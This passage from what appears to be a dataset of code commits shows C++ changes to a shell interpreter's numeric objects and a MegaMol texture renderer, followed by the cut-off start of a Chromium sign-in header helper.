Object\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nObjectPtr RealObject::OperationObj(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      float r = OperationArit(value_, static_cast<float>(int_obj.value()), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float r = OperationArit(value_, real_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr RealObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr RealObject::ObjInt() {\n  int v = static_cast<int>(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_int(obj_factory.NewReal(v));\n  return obj_int;\n}\n\nObjectPtr RealObject::ObjString() {\n  std::string v = std::to_string(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_str(obj_factory.NewString(v));\n\n  return obj_str;\n}\n\nObjectPtr RealObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(std::to_string(value_));\n}\n\nObjectPtr RealObject::OperationObjComp(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      bool r = OperationComp(value_, static_cast<float>(int_obj.value()), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      bool r = OperationComp(value_, real_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr RealObject::Copy() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(value_);\n}\n\nObjectPtr RealObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr RealObject::Add(ObjectPtr obj) {\n  return OperationObj(obj, 0);\n}\n\nObjectPtr RealObject::Sub(ObjectPtr obj) {\n  return OperationObj(obj, 1);\n}\n\nObjectPtr RealObject::Mult(ObjectPtr obj) {\n  return OperationObj(obj, 2);\n}\n\nObjectPtr RealObject::Div(ObjectPtr obj) {\n  return OperationObj(obj, 3);\n}\n\nObjectPtr RealObject::Lesser(ObjectPtr obj) {\n  return OperationObjComp(obj, 0);\n}\n\nObjectPtr RealObject::Greater(ObjectPtr obj) {\n  return OperationObjComp(obj, 1);\n}\n\nObjectPtr RealObject::LessEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 2);\n}\n\nObjectPtr RealObject::GreatEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 3);\n}\n\nObjectPtr RealObject::Equal(ObjectPtr obj) {\n  return OperationObjComp(obj, 4);\n}\n\nObjectPtr RealObject::NotEqual(ObjectPtr obj) {\n  if (obj->type() != ObjectType::INT && obj->type() != ObjectType::REAL) {\n    ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(true);\n  }\n\n  return OperationObjComp(obj, 5);\n}\n\nObjectPtr RealObject::UnaryAdd() {\n  float r = +value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(r);\n}\n\nObjectPtr RealObject::UnarySub() {\n  float r = -value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(r);\n}\n\n}\n}\n<commit_msg>fix float to int converstion<commit_after>\/\/ Copyright 2016 Alex Silva Torres\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"simple-object.h\"\n\n#include <string>\n#include <boost\/variant.hpp>\n\n#include \"obj-type.h\"\n#include \"object-factory.h\"\n\nnamespace shpp {\nnamespace internal {\n\nObjectPtr NullObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr NullObject::Equal(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::NIL) {\n    return obj_factory.NewBool(true);\n  } else {\n    return obj_factory.NewBool(false);\n  }\n}\n\nObjectPtr NullObject::NotEqual(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::NIL) {\n    return obj_factory.NewBool(false);\n  } else {\n    return obj_factory.NewBool(true);\n  }\n}\n\nObjectPtr NullObject::And(ObjectPtr \/*obj*\/) {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr NullObject::Or(ObjectPtr obj) {\n  return obj->ObjBool();\n}\n\nObjectPtr NullObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr BoolObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(value_);\n}\n\nObjectPtr BoolObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(value_?\"true\":\"false\");\n}\n\nObjectPtr BoolObject::Equal(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    return obj_factory.NewBool(value_ == value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    return obj_factory.NewBool(value_ == value);\n  }\n}\n\nObjectPtr BoolObject::NotEqual(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    return obj_factory.NewBool(value_ != value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    return obj_factory.NewBool(value_ != value);\n  }\n}\n\nObjectPtr BoolObject::And(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (value_ == false) {\n    return obj_factory.NewBool(false);\n  }\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  }\n}\n\nObjectPtr BoolObject::Or(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (value_ == true) {\n    return obj_factory.NewBool(true);\n  }\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  }\n}\n\nObjectPtr BoolObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(!value_);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Int Object\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nObjectPtr IntObject::OperationObj(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      int r = OperationArit(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewInt(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float r = OperationArit(value_, real_obj.value(), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::OperationObjInt(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      int r = OperationArit(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewInt(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr IntObject::ObjReal() {\n  float v = static_cast<float>(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_real(obj_factory.NewReal(v));\n\n  return obj_real;\n}\n\nObjectPtr IntObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(std::to_string(value_));\n}\n\nObjectPtr IntObject::ObjString() {\n  std::string v = std::to_string(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_str(obj_factory.NewString(v));\n\n  return obj_str;\n}\n\nObjectPtr IntObject::OperationObjComp(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      bool r = OperationComp(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      bool r = OperationComp(value_, real_obj.value(), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    default: {\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(false);\n    }\n  }\n}\n\nObjectPtr IntObject::Copy() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(value_);\n}\n\nObjectPtr IntObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr IntObject::Add(ObjectPtr obj) {\n  return OperationObj(obj, 0);\n}\n\nObjectPtr IntObject::Sub(ObjectPtr obj) {\n  return OperationObj(obj, 1);\n}\n\nObjectPtr IntObject::Mult(ObjectPtr obj) {\n  return OperationObj(obj, 2);\n}\n\nObjectPtr IntObject::Div(ObjectPtr obj) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      float b = int_obj.value();\n\n      if (b == 0) {\n        throw RunTimeError(RunTimeError::ErrorCode::ZERO_DIV,\n                           boost::format(\"zero div indetermined\"));\n      }\n\n      float r = static_cast<float>(value_)\/ b;\n      ObjectFactory obj_factory(symbol_table_stack());\n      if ((value_% int_obj.value_) != 0) {\n        return obj_factory.NewReal(r);\n      } else {\n        return obj_factory.NewInt(static_cast<int>(r));\n      }\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float b = real_obj.value();\n\n      if (b == static_cast<float>(0)) {\n        throw RunTimeError(RunTimeError::ErrorCode::ZERO_DIV,\n                           boost::format(\"zero div indetermined\"));\n      }\n\n      float r = static_cast<float>(value_)\/ b;\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::DivMod(ObjectPtr obj) {\n  return OperationObjInt(obj, 4);\n}\n\nObjectPtr IntObject::RightShift(ObjectPtr obj) {\n  return OperationObjInt(obj, 5);\n}\n\nObjectPtr IntObject::LeftShift(ObjectPtr obj) {\n  return OperationObjInt(obj, 6);\n}\n\nObjectPtr IntObject::Lesser(ObjectPtr obj) {\n  return OperationObjComp(obj, 0);\n}\n\nObjectPtr IntObject::Greater(ObjectPtr obj) {\n  return OperationObjComp(obj, 1);\n}\n\nObjectPtr IntObject::LessEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 2);\n}\n\nObjectPtr IntObject::GreatEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 3);\n}\n\nObjectPtr IntObject::Equal(ObjectPtr obj) {\n  return OperationObjComp(obj, 4);\n}\n\nObjectPtr IntObject::NotEqual(ObjectPtr obj) {\n  if (obj->type() != ObjectType::INT && obj->type() != ObjectType::REAL) {\n    ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(true);\n  }\n\n  return OperationObjComp(obj, 5);\n}\n\nObjectPtr IntObject::BitAnd(ObjectPtr obj) {\n  return OperationObjInt(obj, 7);\n}\n\nObjectPtr IntObject::BitOr(ObjectPtr obj) {\n  return OperationObjInt(obj, 8);\n}\n\nObjectPtr IntObject::BitXor(ObjectPtr obj) {\n  return OperationObjInt(obj, 9);\n}\n\nObjectPtr IntObject::BitNot() {\n  int r = ~value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\nObjectPtr IntObject::UnaryAdd() {\n  int r = +value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\nObjectPtr IntObject::UnarySub() {\n  int r = -value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Real Object\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nObjectPtr RealObject::OperationObj(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      float r = OperationArit(value_, static_cast<float>(int_obj.value()), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float r = OperationArit(value_, real_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr RealObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr RealObject::ObjInt() {\n  int v = static_cast<int>(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_int(obj_factory.NewInt(v));\n  return obj_int;\n}\n\nObjectPtr RealObject::ObjString() {\n  std::string v = std::to_string(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_str(obj_factory.NewString(v));\n\n  return obj_str;\n}\n\nObjectPtr RealObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(std::to_string(value_));\n}\n\nObjectPtr RealObject::OperationObjComp(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      bool r = OperationComp(value_, static_cast<float>(int_obj.value()), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      bool r = OperationComp(value_, real_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr RealObject::Copy() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(value_);\n}\n\nObjectPtr RealObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr RealObject::Add(ObjectPtr obj) {\n  return OperationObj(obj, 0);\n}\n\nObjectPtr RealObject::Sub(ObjectPtr obj) {\n  return OperationObj(obj, 1);\n}\n\nObjectPtr RealObject::Mult(ObjectPtr obj) {\n  return OperationObj(obj, 2);\n}\n\nObjectPtr RealObject::Div(ObjectPtr obj) {\n  return OperationObj(obj, 3);\n}\n\nObjectPtr RealObject::Lesser(ObjectPtr obj) {\n  return OperationObjComp(obj, 0);\n}\n\nObjectPtr RealObject::Greater(ObjectPtr obj) {\n  return OperationObjComp(obj, 1);\n}\n\nObjectPtr RealObject::LessEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 2);\n}\n\nObjectPtr RealObject::GreatEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 3);\n}\n\nObjectPtr RealObject::Equal(ObjectPtr obj) {\n  return OperationObjComp(obj, 4);\n}\n\nObjectPtr RealObject::NotEqual(ObjectPtr obj) {\n  if (obj->type() != ObjectType::INT && obj->type() != ObjectType::REAL) {\n    ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(true);\n  }\n\n  return OperationObjComp(obj, 5);\n}\n\nObjectPtr RealObject::UnaryAdd() {\n  float r = +value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(r);\n}\n\nObjectPtr RealObject::UnarySub() {\n  float r = -value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewReal(r);\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * AbstractTexQuartzRenderer.cpp\n *\n * Copyright (C) 2018 by VISUS (Universitaet Stuttgart)\n * Alle Rechte vorbehalten.\n *\/\n#include \"stdafx.h\"\n#include \"AbstractTexQuartzRenderer.h\"\n#include \"vislib\/graphics\/gl\/IncludeAllGL.h\"\n\nnamespace megamol {\nnamespace demos {\n\n\/*\n * AbstractTexQuartzRenderer::AbstractTexQuartzRenderer\n *\/\nAbstractTexQuartzRenderer::AbstractTexQuartzRenderer(void)\n    : AbstractQuartzRenderer(), typeTexture(0) {\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::~AbstractTexQuartzRenderer\n *\/\nAbstractTexQuartzRenderer::~AbstractTexQuartzRenderer(void) {\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::assertTypeTexture\n *\/\nvoid AbstractTexQuartzRenderer::assertTypeTexture(CrystalDataCall& types) {\n    if ((this->typesDataHash != 0) && (this->typesDataHash == types.DataHash())) return; \/\/ all up to date\n    this->typesDataHash = types.DataHash();\n\n    if (types.GetCount() == 0) {\n        ::glDeleteTextures(1, &this->typeTexture);\n        this->typeTexture = 0;\n        return;\n    }\n    if (this->typeTexture == 0) {\n        ::glGenTextures(1, &this->typeTexture);\n    }\n\n    unsigned mfc = 0;\n    for (unsigned int i = 0; i < types.GetCount(); i++) {\n        if (mfc < types.GetCrystals()[i].GetFaceCount()) {\n            mfc = types.GetCrystals()[i].GetFaceCount();\n        }\n    }\n\n    float *dat = new float[types.GetCount() * mfc * 4];\n\n    for (unsigned int y = 0; y < types.GetCount(); y++) {\n        const CrystalDataCall::Crystal& c = types.GetCrystals()[y];\n        unsigned int x;\n        for (x = 0; x < c.GetFaceCount(); x++) {\n            vislib::math::Vector<float, 3> f = c.GetFace(x);\n            dat[(x + y * mfc) * 4 + 3] = f.Normalise();\n            dat[(x + y * mfc) * 4 + 0] = f.X();\n            dat[(x + y * mfc) * 4 + 1] = f.Y();\n            dat[(x + y * mfc) * 4 + 2] = f.Z();\n        }\n        for (; x < mfc; x++) {\n            dat[(x + y * mfc) * 4 + 0] = 0.0f;\n            dat[(x + y * mfc) * 4 + 1] = 0.0f;\n            dat[(x + y * mfc) * 4 + 2] = 0.0f;\n            dat[(x + y * mfc) * 4 + 3] = 0.0f;\n        }\n    }\n\n    ::glBindTexture(GL_TEXTURE_2D, this->typeTexture);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);\n    ::glPixelStorei(GL_PACK_ALIGNMENT, 1);\n    ::glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA32F, mfc, types.GetCount(), 0, GL_RGBA, GL_FLOAT, dat);\n    ::glBindTexture(GL_TEXTURE_2D, 0);\n\n    delete[] dat;\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::releaseTypeTexture\n *\/\nvoid AbstractTexQuartzRenderer::releaseTypeTexture(void) {\n    ::glDeleteTextures(1, &this->typeTexture);\n    this->typeTexture = 0;\n}\n\n} \/* end namespace demos *\/\n} \/* end namespace megamol *\/<commit_msg>pwdemos: dont use new\/delete in AbstractTexQuartzRenderer<commit_after>\/*\n * AbstractTexQuartzRenderer.cpp\n *\n * Copyright (C) 2018 by VISUS (Universitaet Stuttgart)\n * Alle Rechte vorbehalten.\n *\/\n#include \"stdafx.h\"\n#include \"AbstractTexQuartzRenderer.h\"\n#include \"vislib\/graphics\/gl\/IncludeAllGL.h\"\n#include <vector>\n\nnamespace megamol {\nnamespace demos {\n\n\/*\n * AbstractTexQuartzRenderer::AbstractTexQuartzRenderer\n *\/\nAbstractTexQuartzRenderer::AbstractTexQuartzRenderer(void)\n    : AbstractQuartzRenderer(), typeTexture(0) {\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::~AbstractTexQuartzRenderer\n *\/\nAbstractTexQuartzRenderer::~AbstractTexQuartzRenderer(void) {\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::assertTypeTexture\n *\/\nvoid AbstractTexQuartzRenderer::assertTypeTexture(CrystalDataCall& types) {\n    if ((this->typesDataHash != 0) && (this->typesDataHash == types.DataHash())) return; \/\/ all up to date\n    this->typesDataHash = types.DataHash();\n\n    if (types.GetCount() == 0) {\n        ::glDeleteTextures(1, &this->typeTexture);\n        this->typeTexture = 0;\n        return;\n    }\n    if (this->typeTexture == 0) {\n        ::glGenTextures(1, &this->typeTexture);\n    }\n\n    unsigned mfc = 0;\n    for (unsigned int i = 0; i < types.GetCount(); i++) {\n        if (mfc < types.GetCrystals()[i].GetFaceCount()) {\n            mfc = types.GetCrystals()[i].GetFaceCount();\n        }\n    }\n\n    std::vector<float> dat;\n    dat.resize(types.GetCount() * mfc * 4);\n\n    for (unsigned int y = 0; y < types.GetCount(); y++) {\n        const CrystalDataCall::Crystal& c = types.GetCrystals()[y];\n        unsigned int x;\n        for (x = 0; x < c.GetFaceCount(); x++) {\n            vislib::math::Vector<float, 3> f = c.GetFace(x);\n            dat[(x + y * mfc) * 4 + 3] = f.Normalise();\n            dat[(x + y * mfc) * 4 + 0] = f.X();\n            dat[(x + y * mfc) * 4 + 1] = f.Y();\n            dat[(x + y * mfc) * 4 + 2] = f.Z();\n        }\n        for (; x < mfc; x++) {\n            dat[(x + y * mfc) * 4 + 0] = 0.0f;\n            dat[(x + y * mfc) * 4 + 1] = 0.0f;\n            dat[(x + y * mfc) * 4 + 2] = 0.0f;\n            dat[(x + y * mfc) * 4 + 3] = 0.0f;\n        }\n    }\n\n    ::glBindTexture(GL_TEXTURE_2D, this->typeTexture);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n    ::glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);\n\n    GLint initial_pack_alignment = 0;\n    ::glGetIntegerv(GL_PACK_ALIGNMENT, &initial_pack_alignment);\n    ::glPixelStorei(GL_PACK_ALIGNMENT, 1);\n    \n    ::glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA32F, mfc, types.GetCount(), 0, GL_RGBA, GL_FLOAT, dat.data());\n    ::glBindTexture(GL_TEXTURE_2D, 0);\n\n    ::glPixelStorei(GL_PACK_ALIGNMENT, initial_pack_alignment);\n\n}\n\n\n\/*\n * AbstractTexQuartzRenderer::releaseTypeTexture\n *\/\nvoid AbstractTexQuartzRenderer::releaseTypeTexture(void) {\n    ::glDeleteTextures(1, &this->typeTexture);\n    this->typeTexture = 0;\n}\n\n} \/* end namespace demos *\/\n} \/* end namespace megamol *\/<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/signin\/signin_header_helper.h\"\n\n#include \"chrome\/browser\/extensions\/extension_renderer_state.h\"\n#include \"chrome\/browser\/profiles\/profile_io_data.h\"\n#include \"chrome\/browser\/tab_contents\/tab_util.h\"\n#include \"chrome\/browser\/ui\/browser_finder.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/common\/profile_management_switches.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"google_apis\/gaia\/gaia_auth_util.h\"\n#include \"net\/http\/http_response_headers.h\"\n#include \"net\/url_request\/url_request.h\"\n\n#if defined(OS_ANDROID)\n#include \"chrome\/browser\/android\/signin\/account_management_screen_helper.h\"\n#endif  \/\/ defined(OS_ANDROID)\n\nnamespace {\n\nconst char kChromeConnectedHeader[] = \"X-Chrome-Connected\";\nconst char kChromeManageAccountsHeader[] = \"X-Chrome-Manage-Accounts\";\nconst char kGaiaAuthExtensionID[] = \"mfffpogegjflfpflabcdkioaeobkgjik\";\n\n\/\/ Show profile avatar bubble on UI thread. Must be called on the UI thread.\nvoid ShowAvatarBubbleUIThread(int child_id, int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::UI));\n\n  content::WebContents* web_contents =\n      tab_util::GetWebContentsByID(child_id, route_id);\n  if (!web_contents)\n    return;\n\n#if !defined(OS_ANDROID)\n  Browser* browser = chrome::FindBrowserWithWebContents(web_contents);\n  if (browser)\n    browser->window()->ShowAvatarBubbleFromAvatarButton();\n  \/\/ TODO(guohui): need to handle the case when avatar button is not available.\n#else  \/\/ defined(OS_ANDROID)\n  AccountManagementScreenHelper::OpenAccountManagementScreen(\n      Profile::FromBrowserContext(web_contents->GetBrowserContext()));\n#endif \/\/ OS_ANDROID\n}\n\nbool IsDriveOrigin(const GURL& url) {\n  if (!url.SchemeIsSecure())\n    return false;\n\n  const GURL kGoogleDriveURL(\"https:\/\/drive.google.com\");\n  const GURL kGoogleDocsURL(\"https:\/\/docs.google.com\");\n  return url == kGoogleDriveURL || url == kGoogleDocsURL;\n}\n\n} \/\/ empty namespace\n\nnamespace signin {\n\nvoid AppendMirrorRequestHeaderIfPossible(\n    net::URLRequest* request,\n    const GURL& redirect_url,\n    ProfileIOData* io_data,\n    int child_id,\n    int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::IO));\n\n   if 